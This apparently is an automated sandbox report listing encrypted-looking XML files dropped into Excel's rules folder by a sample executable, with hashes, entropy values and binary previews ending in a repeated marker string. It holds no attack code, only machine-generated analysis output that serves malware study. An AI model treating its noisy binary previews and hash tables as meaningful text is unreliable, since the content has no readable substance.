SHA-256:	BFA1617C7E0930E5C79209689773EA7D5CE8B00F6B656BB88D73EA3D7EA98712
SHA-512:	969411335FF9A0BD832DF063AB1E2F60D9133D80BFAEA81A923191ECEE54BF68DADA0B87262EAD4DC236293E161EDA8F2F5DEBFDD35BA78137348CE9413C6B0C
Malicious:	false
Preview:	<?xml.v...]...K...32B.0..c..82U.I..n.EQ8...g>.s...~o.0.. .......[w~l....\vj.7.K...@G.l.W...-...nD2...vJ&.>tuwM.2....6x..Y..y..W.}..3.....?....>.....x..'.....Ag.'....&.9[..4..."?f.Fs8.o...1...<R......3m.K...E$M.....U'l3...K.T.......I....!.M-..pR.....J...w,.}7..V.&.(..\|..!.xE.:......O..U.9R_....k....."@.L.[.Ctw..H..2..M...0.}8..RO....z..w..[.2.b~..){.s?.....n.$..3..Nb....7.InZ.....8...........t....W.i99.........&.w...h...<[.....(.....y$...>>.......<Nw..'3...Lion.V.....q..W..9..R.@8B.A"7f.Y.#..Y......<!.(..y..#.}Cf;.<%.`...@.I%..%....:%W~}.$.O......Ui..+."..8t)s.?i0p...!D...d..._...N5z...:~.T..... \...Y.I5fo.......q...JSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.74205975284245
Encrypted:	false
SSDEEP:	12:WF2NNXaPo6SKlseHo9vx0vwi2Nn6/mYHqpIYIfRvepiXdR0HP6LgRsC52i1Ik114:WF2CP+0sRqyoxKpfI5GibWI2lIhbD
MD5:	69ECA5F242AA2A6945DECC0A50A87626
SHA1:	044D7D162F59F109736BF63F202DA13CA9750C82
SHA-256:	E3CE7B301097331A2D806B72A005A9EC3E688844A2B897DA864D5C7E17B2E8C3
SHA-512:	8DA1869AA1C7A974BF088D6A234DED571D44EBEB0AFDE1DC0E9897995D2140A4BA22DA719FBB6EF51A444D9A64400B9AAF146B9A5FD8A602197D81B5CA76DAEA
Malicious:	false
Preview:	<?xmln.uK...C.4%G8q4N.......F.~03...u...5....5.N...S.......W...F.Z....Mz.r..w.........^].......s..d(3$...9C.l............1W.T..^]1...).).....aR.}H9.{.9r.<+2.,..P..U.(.vS.9Y..\|i.....G.~{j.HA.".[.R.k.G$....0..\|\.2..]t]!.)...w0...AZ...].....}...a.>......D..N..PAf3'..L27....."w..Q..O..k'..&...nm..mZ.......>.h...\|&...).....Q.F...O..9(-.... ...l.h.......1.I9..Z.H.%....C};.......VU.u.....3J..NVV=r.ER...\|.cH.3.9.<<G..}.=.}T;n..b....w......M~(.@....,..]{Z.............>...O.~..b....I.@.co.G.C....\|$\|e..>......vZ.....<B.Q6.kW..=`k....)".&./....j.y....nI5...R."Zh.....W.v...q.'..Ef..V./.5.A..M"vd...8.qC.._.:?*.tx.X?.......b.$}...n..S....,[.p.N..B][.N.I..sW..H.-A......^W...y...,.....#...O?J...`SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.714053529235939
Encrypted:	false
SSDEEP:	12:uBOLv4mY6ew4jOUi+QK9ieKJF71hkrDf4U4sHytc9Jwz/Yw9FLhGg+cE1dZIyqOy:u4Lv4cN4jOUzixJF71hIIsHyu9wgw9Fr
MD5:	017E25A2C56DEF96E994E1DD9BF640A6
SHA1:	876B378BB8BBD213FCAC8FD92CFB7E97DFB43E4F
SHA-256:	D1C8008B9C10AE0A56189DD12B4A547C1A0E63FE441AD7E7A0DAD86BA43C3304
SHA-512:	CC65BA8B2F91A3186CEE9DAB15AB72446931FA51E433DE2F2ECE10716BD733C54E120D1477F55C7C43D22F1E64AFB6CB5B5599E9E6501CD874E3BB04130EF950
Malicious:	false
Preview:	<?xmlL../......p.xe.&..v5u..g...$.B@.8pt.?..f... .LR..m/\&).....T]Q.{..CwJ...m-.^.l..g...y&.b.E..,..co......A...8-..Fu....&...h..}...............KZ"...J..v\..n.Q.".]VE....V..2.q3g;.!..>._...8N.......f..K......o..+..~....i.s....t...q[(..T.e...T...Y.U..'..,..V..]Z4......KY..f.N.o.....v.A...u.B.....El!...B.%W......C<;.A..RZ.2,.....T\......m..:^.^..........XD.QRpT...b..>..g.t.........A.L.7...K....k.2j..J.C\....j...n.......h..W.n.....x.!B.........iQX.L..B/3... ...Z.Np..)...I...In.k..ds....5.%..8...^3..3.QC....=.X..Q ..;.cM......,.O.f.....n..<1.H.Fn..K +.........3.Z?.G...dk.e.....l..Q..C..]l.{.nk.m..~.M ....Y.tR...-._-m...e:.. .....Z..N..t..W.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7250603568069085
Encrypted:	false
SSDEEP:	24:S/fvLgT2u5WscABCFHioxiXh8225wFdj+3X5k2sMUbD:SfLgT2Ucjpz4Xh82256d2O2sM+D
MD5:	491AD6C010BD8494E258B847F58B0E21
SHA1:	9DE54D37A0395F4DCFDBB6BDAC481CF4A1806008
SHA-256:	A8D4B8D19B7234F531BA444D35A666312D12E1A4B69B1D1F450B6B472021BAE7
SHA-512:	F13F82AB97C6E46540EE75DA1A4092466309F599DEE0EABA2B6D40A08D80610617E094565624FB9B1265AE40AAFBEBD7C31FE25FC4E2E145E8382B2662C456AC
Malicious:	false
Preview:	<?xml.s...-c.....k...jJ.AyA....q........t6...Q.zY..4r...."..... .IR}s...v...W........^ .R..H.m...&".DQA.K.....H.P....d...f1..."@...2*.1"<...p.F&........q^.$.. .A..D.p..[..QY)8.Q....@s.....[.5NG......F....3<.....c.8....)]..vt...Ho%)...V!.VS..L^.N.n$P..1T.5s>K80.UU.........i.c...R.cI......<{T.......n3....]p.>Y.@.'E.Vz.[)W?.K.Y..~..pMG\|.iAB.m0.....v..9]..S`.....io.`t....V/I...a.(.1..T.AG.X......L$?..L//Xu......i.'O"y)G..;W.[.........D......V....'..vT.u...T:..}../:..3.F..J.q%XFc......N:qs..tN.pP....hx...K.....i.KD.$....k.......?.Z.....g.:.\|.$}!...hm.\|..9....q.....h....M....h.s+2..3.!?..&...d.....Q..U..b....n..7.E.`f..e..5w....JX"N.Q].22..1<....na.5OJ.b.FtM...WQp).'\|.d.t.z.>..Z}.%..'.6th.{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.663994531630761
Encrypted:	false
SSDEEP:	12:BGb91XeKfWVjOowIbbQyz21x+B9EzGUf4uPyjNyqtSVzuwlh1+cii9a:BuAKpT1sWzGWP0AibD
MD5:	80B8D06ECECF2142AD1A2D1C532A186F
SHA1:	DFCC14D1B5768A2FE4C9EDD57DC9611332429924
SHA-256:	5AC290D912C88048ED0F95EC9FFB56A8319F093752D404310769531752710A4F
SHA-512:	94DE36399BF65B674AAE085206F03BF9D2EED77A6BF31EC544C8B55B931A0C1DFACBCC30BBA8E36BB6733A99C74DD6A8C9BB8087E2B8D1FDCAE4D2805C0D9D7B
Malicious:	false
Preview:	<?xml..'....F..`B3...a.^..<X"6.:4.WWW7...O..M.....Z..KF..MVK.1e./;.dC<..i?......D.{%9v...3.<....y..X..........(F.X.)S...X4..o..>..(.....i..T7!&dI...M..s...HM!._.7?...U..M!.B.......B6.........&D'....6>.r..Ufj4..3J.(7]..c../:.y.s.J!YFL..."...M((.o-hF.....c..8f...Z.S..4H53......1].j."ZJ.S...V7.....t.f...'w.'u.k..Z7...-...W.p.........r.$.;....+....Y3....!.u..e....kh......i(.-.A......2....w...`5.K..X.B.w..U.+.u}Z..D..d...,.e1[...>..1jK......x.._<.E......( 2h;<...$....Z^^P....N..k.....~...S0.....u.....%.h.5......E...:1..%Te(Y..X..:...e.!.V..,y.c........y0['...@..F...lP..Y.4.u.U..6.%.5....{.7}s..^.\|.nZ .X..<.P#~..w.J.kY..@D.4.}..a..ESLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.758025443610649
Encrypted:	false
SSDEEP:	12:4XQIGnWIV1hlZGC6eh69WdDSrH2Zdw6RlQ+FsKasa0oIJ01IK9C9jX5LvOz1+ciD:4ABZVvGZeh69Cw63ZFsfsa0VISz5zHbD
MD5:	69DEEA8CDD9C73A500A318F28C327679
SHA1:	3E52C6D03812183545E894DCFB75D73CBF7639A6
SHA-256:	531DC53C984FBC849FF910FF41FDB263744983D2AE430C9B2ADC34EDCFDDB218
SHA-512:	DAC9B3C91177181C6773AECE18DEFD851A532EDC43DC01084CE401DC59206B48C6E963F0AAFADB84BE589F431F2B5C4EE1790C614349F8A365C55C3BADBB7322
Malicious:	false
Preview:	<?xmlE2u...xhm.]......!B..C.......6d..1Q..wm3......Y.f..^...WB]..a..........R.......h-.Y...s.s..<..?B...J..KZ....-).\.&..... ......(.i..I..5i...(....qmW(..*luP...$...;...f....o...)...v...u.x+..(,/.....{r.....u_.C..<..S...`c..1...9.4N`.=...k.z.....]....i9.......a....aR....2.....`......8../..zy..,..1g..K6.+T..L.+..<..<.V.F......5`..YC2.-..........i..h.$.Gk:,....9.z.;.uH.ekt8.h.Xp.0.W1"w........`GNJ..{r.Q..C...E....j}.&.G...j.Y..0^b.E@.CtU....... %......@...^...aJu..W3...\|.'.....~..{.P..pg.NB...].\.fg......o./Cc.X'.2T'f.m..4......_1G._..f.V.G.^.\|...4J?:..G..X..oU..h....._W..v.I3.0..P.z..A+..(b.$H.9...3.u...5..h.....5.^.......v...9.?l..)[..e.k.....r.....8..t.'.....:...D.rHf...D.YzAo..W.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.690017681824447
Encrypted:	false
SSDEEP:	12:XdV/lcsmwJWF4DZEwEdWbxtB/zWwlFztBf0NaVFo8jz5iWjD25XuR4Rupbf1+ciD:XD/2s1M+DZI2xWwlp/CYFo8jz5F25ju4
MD5:	B184F6069E718D485C3BA5B951044717
SHA1:	B217FA79FD406F81DDB1422D7058F70CC9C8B993
SHA-256:	8E724AD314879DAB5E1BEEDC91937C7389A15049907279A28E69A8A134AA2EF7
SHA-512:	6B2CF2A03D937799A958DDFC11BE1160CCF51BDAAA719282865F48F70775C02CC3BBA6DFE578F3C1BA43D02C21A00D9FC169CB7D8BFB7866D2F16756A2DAC37B
Malicious:	false
Preview:	<?xml.......'.JS.........\|8.k.?.h^.....2...%Ml.^e.n..\|.% ,...-.....5aO..Q:P....x8...X0..!..c.K$.p..z..nc.....V.9..q..g..C.YZ..C-.u.....X.F\y.....4f.......e$...O5.kt.W.."_..vx..Z.O<.q..~.<.J$...$.I......A...h.<.....g.y....?....91..3..n...8..0...m.`._..=q..+.....dR.@..E...Cyl.....A&.0./U....o}..h...+j==\....;.......J.{....~.Q..1h...vd.K.....(....o5.\|... ....w..-.#aJst.{..C....[..CT>.Ak.T...i.jc.=}]z...D&.q"c.=..V5.[..B.Aw.j...9.c&.>..&.!P.w.J{..jp...6W,z9..p..-O......1g j.,.-..#N...A........s.<..H.....c^..A..v .,e...)S`.<.L}y&.......g..]..u...1...1...4+De.uk...[.^...>.aX..d....V.k....7N.T. o..;..p..N.F.6..T..1...,e.R...D..L.t.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.721518109168073
Encrypted:	false
SSDEEP:	24:1GXS9osrMzXbdvJXRW/8/N4smp8PtbXrUH/bD:1GC9SzXBvxfFprUDD
MD5:	AAF25AC3C2A48848C82CBDCB14C3BA66
SHA1:	F414B5B0837ADAED941FAD3FD62829A5B710A61F
SHA-256:	5A90074B1BDD9A91DE3A41B12C6DA610DCC0D8A69C845CEB1E1B0869313B5CE6
SHA-512:	44D124C1B42AA3264AA8C1FD5C8C59A614ECF67C39B7EC1B231860D344BE80856CEB1B52E78811E66B5BB1EDD4F4F602DC493AC835DB06EDA3470611A693FEDC
Malicious:	false
Preview:	<?xml.+............B..j&.p+..0.!..%..r..V..F9....k._... e8b_..J...M..H.).{86...lc...YkNa..}...::....".`..ti.'. p.=. .......-`\|....9.-G.+...:..\q......y_.....#.......b..R...i.j\|L..L.......I..-.W...8D.d~d7ct..kOIOO.xq.6..hy.it...m.s}\...61.z....?j...gZ..2.j.\|\.'n.../.W.+ .l.A.-......_..F......km.O...V...ms..oF....wQ.....g..6>Z...T&...>.U+..'d.......<...SL.....`.v..m......B......W....P..q.B.V.f.8'AJ.Ja.(.i.q.V2....INi..{....0...[~.V...i.a9....... .k...Ba.Q......T_.?...]..f-\|0..1'Z...Yq...j.....W....<..9......hr.K.!BP^T.7;..hL....cfSn)8.....B.n.K...>.3$a........GHu.B...u2.G..1.'....o2..\|...Fs......u...oJ...Y..ew........,m.q.[.yF....Dy?.bU"......^..~....x.M..e8.w...TF.C..Gm....52<377`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.724401063811853
Encrypted:	false
SSDEEP:	12:CMmc+sdRMWA4996Jemib2tiv/BlU0u3JjrOW360Y6oAg1+cii9a:CaOWZ99rmib26Bg3NrL3fYRAbbD
MD5:	E22947FF1653E5677A6D1030E80BE5BF
SHA1:	6E2F3270801C791C1A85FF35214596D83F9F0C8B
SHA-256:	FDB23C02AAB3B109DB970B3E384FA0154BFC40CD518E80917AC4803969949A8F
SHA-512:	785EE08DA5CEF8F9814FAA047D280E45153AD6F6A9A8B7C1EA18C12356BFD19BF4B7FEE806AD5DEF3DD94EA34070255641A494607B4F2BB5D3345E1B66FCC084
Malicious:	false
Preview:	<?xml....H..M....h.6.S......../..j......{..XK..T..9xVU.&.\A..<b...l......3.W...d...B..c.G..bC.lh.......Dy~7F.#Z.J'2.1.N$./..q35....:.X..ZH.9.r.N..........tePV2..,7.^....ca.u...7...jl.......Z.=......>..}N..l..=..7?=Qp.%^.}.....l._.C.NT5.z..^.FL.!...6.+...:.Jl..78...[6#.n.vnk.4g..5.4...-.n...B...Ve....5{.....'..AYM.Y..Z.&.yJ.......3...U........'u8X.,Y...N`..._(UH.}....WV..8..I%6Ju.&..=~...w.x(.X..%...l...4W.}.i....s.!....#.C...w..W.3.[k......;.o;q.8.(.ra.HA.....FW.~.n..q..mN.g.........\..q:.2.\+..F(....`..Z.yJxP.l..4....x.gal.+..P...U.dv(...v.G....\............\....-S>~3:....t.....}.....L.j.1.......*.P.....2~..SU7<.........{.0.}z..5....[V(q{.).d.w....n.!.....d....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.692586880859088
Encrypted:	false
SSDEEP:	12:56dBUfgJOX8Hzg0DwnAMe3CX3v1YqBMv9dSC/t0vqAf58k6mcX6JMAZj9aR38wLy:56PoEb+d1Yx9dXKv6tXvwaR38AJvWbD
MD5:	6785859CE2F27631CB2AD0B892876311
SHA1:	6FE9338CA789466A8665045FB0975510164C8588
SHA-256:	19CD52E97E61CC77587400A42CA1495BB91EDD5EE18989C0A4631861E8103831
SHA-512:	2C786EE0BC15223987CFB8BB04732591EF463B0BACE64A8AC3419AC92C37705247C0BAD2C467794483AC4FD1C547C0F5BF23DDF9A3B16B49F3DD75336770BF4C
Malicious:	false
Preview:	<?xml...[...;r.}.@../^.yZ./.EW.nO. ..}....`..~.^.93..<.;V.....^..q.4..@=....N..w.6L.+.2..H.P..3....N+.sU..$...>wG..^......e...P.`......`....?:.R..0.y['.Q......f...K....<...Ike0...1[~.`.[...Z.AKd.d}...=LJv...-.<,k\.....>.r.v..<..0R.A..m.G..z........Z.$:z~P.KG..P.wX.[.q..f........m`.@..@.M.l..P...b..&....r......X..'M._.:.Y..t]....K..X...._..3..7.<...o.BIT...j.Y..J....Y3..4....^@.3#^..6..e...E]...~P.Q...?^.4r..+..7.XT.T/p.x-.G>.L...:`x!.P'..u.Y...%@E.\...Q9\|pgx?.2..dr&.:!."=.h....<H6}.K4.......2..z5A...a.F.....J.ylg....@0..JqLsW.%.....QZ.\|.k.G"...7....`..zy4~........<\|..F......._k..<X..XJ3.k.7..._.6...7l\|..d..'...xAc.Tm..]Nad}....7.(..f.,Xd.5.K/...U.p.V....f..[..9.\|.Z....'x).o.t..We.7%......:0OTSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.693084911751402
Encrypted:	false
SSDEEP:	12:cigKuH8q/z0ryRLxFRyh52nJjXEK4ikN5nXS6ikCXOufLA7wKexI37EhI1+cii9a:duHt0ryRLxFR+2nJYK4i45ni6ikCXbIu
MD5:	B1DB02FA14B0839ED046FD7AF9A2F57A
SHA1:	135370975136DBC58466655C4044014EA53DF5B7
SHA-256:	80B0A6B13D5D475043D8B1FA6F196673FC4E3878A23BB4E9BC52C04BA5D5823F
SHA-512:	07B8A9015E270C5B93CEE5617B303B293EA24B291253F820D3F2F8BE0B73D55A4AF14337AA593BD9B54A61F766F785305A4F9C0BB73E0B913FE5EC8D237F7C99
Malicious:	false
Preview:	<?xml..MH+@7..P[....Uvt7F.'...AP........%..._.>....Tb..\....h.]....n.Z5\...,..>5...:;H.E.-..nZl.,8.].V~.2.?`..)....h...PG..,r....J...m..2..L.....5F..{...nH..^.i=n4.~.....XV\|......S...K;....'..{Q...AQ.8..<..]...$...A>.#z.=.l.../+5..2J...QJ....Uo....8.$p.../s..1...q....`..`V....K.....,.^..l.d...).,...-.]yG+..@..\.1.6X.n.e.....GU}.Ft.....:;......~.....7....J...p....f..0N.6.6..K..Bi i.).'D:R.Ez.5b...~.(.+.L..h 1.*DQ.........2.......K.I}....R.......C..HU..nz<k<..."..q..y7u.KU#...3..2.W...k..A.H.].D..GSs.1......=..............$...S.HP......z..r......JH..=.-...C._p.......K./..1..2.`Z.$..%G..`.......O.n/.,..Q.O.?Y..Z.{o7.......g...#..(\..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.759621319883652
Encrypted:	false
SSDEEP:	24:kQeJ2nQqYCcGd64YpAWDnkPZcTDyvDulrHNrCsbD:kQr3lcekpLDnKcKruB1CmD
MD5:	3305BE6A653B50378DE03ECA45F3AD5B
SHA1:	5A3651A287477D34BB6C836553EEC959C7B7444C
SHA-256:	40194750CCC40357E269AAF1680858B314754EE2431069C42622CE09758C983A
SHA-512:	7FE768903F667FB23D9C0D15A13EA4639B5239A1A13DCCF64273FDE9C28A14AA3A7DFF260B5AA466C1A4DDCB77D7EA354673E1E8A28875A6B9175E01D29B0D93
Malicious:	false
Preview:	<?xmlq+....0....e...%............AN)....wE./.v..<.(...Y...^.)b..lT-.......L.f.........I..Z..34;;`.4...M...(..Q.....s.&>..S\|.q..I.........z[..C.O.m..........T..u!...0..~Z.....&..&?6.L.......a3...y.;.a.\|'....^.U.8..:.....e1...i..v.-.T .3.%=...3)e.T.%..2<..6.......^U...2...y.Sx.,F-....^.V[y..%......?..N.N....A.?......S...LT..a@X7% .7..\|.Gv.j....U..LO....\e.*..TM.t..:...gN.e^.yQo@...P...nD:......N,..k.f..D.D...Fb...Y...5.e?.tM.....k.r~....&X.).C....%..uH4;.f...e..nRc8.bp...O^..V.....?.."..C.H.@.c..#..2%...'..&.!S...sM.......t=....Tghs..Al.Ix.....;j...1_..F<Y...U2.0{....#..3e./ .S.(6.......+G.Z.qI.];.<....m.^ .%..V...m."..#X`.....T8.9......i.B9e....-..l1)..M..o.?...7...\|.luQDF..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.695181716415126
Encrypted:	false
SSDEEP:	12:98xqejKxom4YdfBhko7y7OsQwfZIyfyxODdYkQ01Mo7j11+cii9a:SHjQDXdfv7y7owfZIyfyxODHjubD
MD5:	756DAEBB6AC12ABC6DE1B4B856B15B42
SHA1:	810A1B6E13504B2F8B912ABA85853BAE923B9DB4
SHA-256:	C269FDC3BEF35BA325912630BD165474BDC3774B638C06D6E7B007340E6AFCF8
SHA-512:	4F39D29A1BFA3BE6B0532BFBE2A76AC9107D8B51B22AD8AB5AC7E2D1E37E4720CD30E4A52DEAF65DFA07DC786144C321260C3CC5062B4401CA5DD128CE08F3C2
Malicious:	false
Preview:	<?xml..#.h....Z9....J.. }.F.%.!.[ZCW.zd.!v..2}...D.....Y.bG..n/.b.....{%...v..q.O..~\t........+...T-..g..J+.].......q.2.N7i..\.3....x...r.1..`.x.z...h.^...;p..?......b...j.Aj....B....jp.a..if.....}.F..:...\..^^:..:s.........b."l._.......j..M.....M...ZDA..t.T..6P....+...}.<...#.....~..!....\|W._hBa.6.......5./....+....S}..Ww....{..l...:.._0.0?i..1.{{.z......B...w.....6Fo......`.n.e....i..........je..{.....PJ,...9oF......6..A6.9..G../w.'...f... .x.0~{`?...\..Lc...\.....rj....%....H..q(.!.....v...+..;.'.l.R_:......!d..X"..._6..9p....:..s._o+~...%.....x..O...... .....V..J...'6o...O....k..L...H.8e.. .^...3X'H:.C......O..4SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732769215183175
Encrypted:	false
SSDEEP:	24:1+Rf+Kxsdo1LydF1vdD2n2FSlODZd3GBbsbD:1+1IELyXK4ddIaD
MD5:	1772F5E02BE9AD140F82286EF8C3B5E9
SHA1:	EE0E9BF5F4C94399CA66B7D2A85AAEFE5FBAE734
SHA-256:	F98F6F433A9F378184EF371B6F2E9BE639CEB85CFFE8CEE5C74C5FFDC196E9D0
SHA-512:	CF1613E49BF4B7E95E74D509F81808765D804C95069A0B966387CFD2E1F89BB4E6045A6F3D47505645F2C347FA9F588AB45366E4DF135B2700C63AA4FD045819
Malicious:	false
Preview:	<?xml..k.7...s........U.7.SU.....w..2u.=..5.G.U..D`,..8(.....#.N^#........).L.K. ..e.h..8.b#ra...%...j...aF..x.>e.s..~(&Y4..CR...M_o.......jv6.......T...n.F......!.C.q%...[..Q7.w....r~.86.....w.=`..^.@...........=,...p..`..f.a.@z.9Y.T......q.._..TEc....1.K.&.n...bT o..Y)]C.r.!i......^o...H!..H.p..^F..uRA.....wJ.q..Ds......L_....!A.3.P.#.$=R>pb.TJ...'....=.....`:..i............s_1h_...h...9..lu8......;K.}..I.....@..O.j.u0x.2.S3.{.........@....6.?.iC..$5..T[Y."....7.....H.9 +...^.b0Q.p...F....Hsm^..Y.......W~\|mf.L...u?y..........)=.U.~..5d..nE.....2...n..(..'>1Z.Uz4XU....]...!.C.s..."..D...D).=....Jk...X...z?..vFn.M...E...].`.a...3.b.A..G... l.\.i.._5.Ilk..\|....RB9..K.~SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.719950918029348
Encrypted:	false
SSDEEP:	12:ZX/dEgw3AvAyqR9n1lBa1Tss/alw2BDJPFCieoxBYrcY0d70OioEs01+cii9a:ZPdEgw3KUHns/EZBVd/ercYQFDPbD
MD5:	AC0B4A00DC2CD3F463FE63FADEA986C4
SHA1:	B9218660E61A4550932828163A29D161AD7E6F15
SHA-256:	4182DA807DBB5139478EC29B004E51DF0D11A24FF7FB20FC759E8E47A7849E55
SHA-512:	630CC2DFB5964FB507B304298534EEBF3408D538BFE2B57C07B4477310C5A2AF18E71FF7B46142F1C5AEEADF777059C31C24105C0BA0BE11FCB4ABEF2A6D3A96
Malicious:	false
Preview:	<?xml;....B...y..x.\|.....J.A..9Y..,...+..Q......8.....nz..@qF.I9}v......,C.=z-{..Ag.Oh..t.tp...+J......5.n...6.[.....%.8..>_-.E...KF...[?.`,Bd.6..t...%......q.st5.......PX.._{7.t....6._.j....2x.\.%...5.>Q...\|....rc"..G..1....t.g........_.5..'.6....V..A...W.E6..%z...9[\..m.....(..r..{...B.p.x/>j...K....6.p.I........>..}.m..ck....B......f.!.......'./X...%A...(...b.B....7..W.3..A......I@e......u..e}...n.hl\..?..K.9.x..'.@f$R..L..y.....dq.Eu@ka3@..:i.K.iW.z.....!E.........Um..3..U..>...t.1k..k/)=C....v.8. .4...-O&....6..7..........Yu.q.m.19.....j.......2....T.:~Qp....D..C....,...;..oy..c.k.E......E.N...\.iF..1..@=#B....#..9..:..w...*".0(\|J4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.74040680549416
Encrypted:	false
SSDEEP:	24:8dzwmETdFKUUq3yWbkwj48h9uGhwL9dCHdHjebD:icVRkm3yWYwNZu3CVjcD
MD5:	2B98C0FB27947BC13890CBA4BDA94F9B
SHA1:	FD08A6603873CD3B8EC759C6C32EEAC29F361655
SHA-256:	E0885FF4D60C47358EBA3649B065046F777498026C3C0749FCA5C9EB240A3210
SHA-512:	89D93C29A338AA2C5734E18477A1E68619081322BB5BE03A9274F8A9403A75C19702DD8BE6B8F96CDECEA137F83D345B4699A951372EFBDF88F713034A3F0EA8
Malicious:	false
Preview:	<?xml.!T..s...y#.#OI...0.G".he.;X.......).U.....@.....>.....^9.....'.a.FY.......{.$..........g.(......3f.....@......>V..b.M..N...R..\......a.P.0J,.7..'.;.r..~......MT.k..!.....OM)..O......NiZ..z.....=.02..@....V.c...{;....i..3...^>...OB....6...S.%{xs]...h........u.Y.IcH...r.\|..UY..[0.........9.k......o..>......R...\|J..K.{...=.../......t..Q..?^-...s...;...8.n%:<._.U.+.I....P>...W.f,.va..Tl4e...4z. $).B.75=...\|9....G.N.AU.M..7:V......xh:...6\|..h.)r`..!..L.........=k.\|u..L`.T.~..W.c[.').G.K...wm... 